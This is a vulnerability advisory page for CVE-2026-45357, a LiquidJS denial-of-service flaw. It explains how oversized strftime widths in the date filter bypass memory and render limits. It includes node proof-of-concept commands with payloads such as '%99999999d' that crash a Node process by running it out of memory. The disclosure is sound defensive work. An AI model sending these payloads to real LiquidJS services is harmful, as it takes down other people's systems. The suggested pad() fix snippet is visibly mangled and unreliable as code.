KEVWire

Security intelligence, with context.

Response snapshot Oct 28, 2026, 15:36 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-45357

LiquidJS has a memory and render limit bypass via unbounded width padding in `date` filter (strftime)

The date filter's strftime implementation parses width specifiers like %9999999d and forwards the captured width unchecked into pad()/padStart() in src/util/underscore.ts.

At a glance

Exploited
Not known
Severity
7.5 High (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: liquidjs: 10.26.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-hh27-hf48-9f5q (opens a new tab)

What happened

Summary

The date filter's strftime implementation parses width specifiers like %9999999d and forwards the captured width unchecked into pad()/padStart() in src/util/underscore.ts. The pad loop performs unbounded string concatenation without consulting the Context's memoryLimit or renderLimit, so a single small template ({{ x | date: '%5000000d' }}) produces megabytes of output and unbounded CPU.

The memoryLimit and renderLimit options the docs (src/liquid-options.ts:87-92) advertise as DoS controls — and which the docstring explicitly mentions for strftime — are entirely bypassed.

Details

Continue reading

date.ts:5-13 only charges memoryLimit for the lengths of the input value, format string, and timezone:

export function date (this: FilterImpl, v: string | Date, format?: string, timezoneOffset?: number | string) {
 const size = ((v as string)?.length ?? 0) + (format?.length ?? 0) + ((timezoneOffset as string)?.length ?? 0)
 this.context.memoryLimit.use(size)
 ...
 return strftime(date, format)
}

strftime (src/util/strftime.ts:121) then walks the format with rFormat = /%([-_0^#:]+)?(\d+)?([EO])?(.)/. The captured width group is passed directly to padStart:

function format (d, match) {
 const [input, flagStr = '', width, modifier, conversion] = match
 ...
 let padWidth = width || padWidths[conversion] || 0
 ...
 return padStart(ret, padWidth, padChar) // strftime.ts:147
}

padStart calls pad() in src/util/underscore.ts:153:

export function pad (str, length, ch, add) {
 str = String(str)
 let n = length - str.length
 while (n-- > 0) str = add(str, ch) // unbounded loop
 return str
}

The loop has no upper bound and never consults this.context.memoryLimit or renderLimit. The pad is also implemented as repeated ch + str string concatenation, which makes the per-byte cost grow with output length and amplifies CPU consumption.

Filter arguments accept context-evaluated values (src/template/filter.ts:30-31, evalToken(arg, context)), so any deployment that passes a context value as the date format — a documented and tested usage pattern — exposes the sink to attacker-controlled input.

This is a separate sink from the previously-reported quadratic replace finding: a different filter (date), a different parser (the strftime width regex), and a different concatenation site (pad() in underscore.ts).

PoC

Setup: npm install liquidjs@10.25.7.

Step 1 — bypass memoryLimit and renderLimit (5 MB output, ~200 ms, both limits set to 50):

node -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
const t0 = Date.now();
const out = liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%5000000d' });
console.log('len=', out.length, 'ms=', Date.now()-t0);
"

Verified output: len= 5000000 ms= 198. The memoryLimit:50 (50-byte budget) and renderLimit:50 (50 ms budget) are both ignored.

Step 2 — OOM-kill the Node process under a 200 MB heap cap:

node --max-old-space-size=200 -e "
const { Liquid } = require('liquidjs');
const liquid = new Liquid({ memoryLimit: 50, renderLimit: 50 });
liquid.parseAndRenderSync('{{ d | date: f }}', { d: 'now', f: '%99999999d' });
"

Verified output: FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory. Process is killed.

The realistic attack template is {{ post.created_at | date: user_supplied_format }}, where user_supplied_format is any context value an attacker can influence (profile field, query param mapped into template context, etc.).

Impact

- DoS against any LiquidJS-rendered surface where a context value reaches the date filter's format argument: a single render call can be turned into multi-MB allocations and seconds of CPU per request, or into an OOM that crashes the host process.

- Bypass of the engine's two documented DoS controls — memoryLimit and renderLimit — meaning that operators who explicitly opted into DoS protection still have no defense for this code path. - All date_to_xmlschema, date_to_rfc822, date_to_string, date_to_long_string paths share the same sink via strftime, but with hard-coded formats they're not directly attacker-controllable; the user-facing risk is on date.

Recommended Fix

Two complementary fixes:

1. Have pad() in src/util/underscore.ts charge the Context's memory limit and use String.prototype.repeat instead of an O(n) concatenation loop. Since pad() is generic, the simplest version takes the memory limit as a parameter:

export function pad (str: any, length: number, ch: string, add: (str: string, ch: string) => string) {
 str = String(str)
 const n = length - str.length
 if (n c + s)
 ? ch.repeat(n) + str
 : str + ch.repeat(n)
}

2. Cap padWidth in src/util/strftime.ts:141 and account for it via memoryLimit. The date filter (src/filters/date.ts) should also charge this.context.memoryLimit.use(parsedMaxWidth) before invoking strftime, e.g. by scanning the format for %(\d+) widths and summing them. A conservative cap (e.g. Math.min(width, 1024) for non-N conversions) is also reasonable — strftime widths beyond a few dozen characters have no legitimate use.

Both fixes are needed: the cap stops the OOM crash, the memory accounting restores the documented DoS guarantee.

Affected package ranges reported by GitHub: liquidjs: <= 10.25.7

Scores and how they were measured

CVSS base severity

7.5

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-hh27-hf48-9f5q (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-hh27-hf48-9f5q, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 28). LiquidJS has a memory and render limit bypass via unbounded width padding in `date` filter (strftime) (CVE-2026-45357). https://kevwire.com/record/CVE-2026-45357

MLA

"LiquidJS has a memory and render limit bypass via unbounded width padding in `date` filter (strftime) (CVE-2026-45357)." KEVWire, 28 Oct. 2026, kevwire.com/record/CVE-2026-45357.

Chicago

KEVWire. "LiquidJS has a memory and render limit bypass via unbounded width padding in `date` filter (strftime) (CVE-2026-45357)." Last modified October 28, 2026. https://kevwire.com/record/CVE-2026-45357.

Evidence summary (plain text)

LiquidJS has a memory and render limit bypass via unbounded width padding in `date` filter (strftime) (May 27, 2026).
The date filter's strftime implementation parses width specifiers like %9999999d and forwards the captured width unchecked into pad()/padStart() in src/util/underscore.ts. The pad loop performs unbounded string concatenation without consulting the Context's memoryLimit or renderLimit, so a single small template ({{ x | date: '%5000000d' }}) produces megabytes of output and unbounded CPU. The memoryLimit and renderLimit options the docs (src/liquid-options.ts:87-92) advertise as DoS controls — and which the docstring explicitly mentions for strftime — are entirely bypassed.
CVSS 7.5 (version 3.1; evidence as of Oct 28, 2026; https://github.com/advisories/GHSA-hh27-hf48-9f5q).
Sources:
GitHub-reviewed advisory GHSA-hh27-hf48-9f5q: https://github.com/advisories/GHSA-hh27-hf48-9f5q
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-45357.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 28, 2026, 15:15 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are coming as part of KEVWire Premium: join the waitlist. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail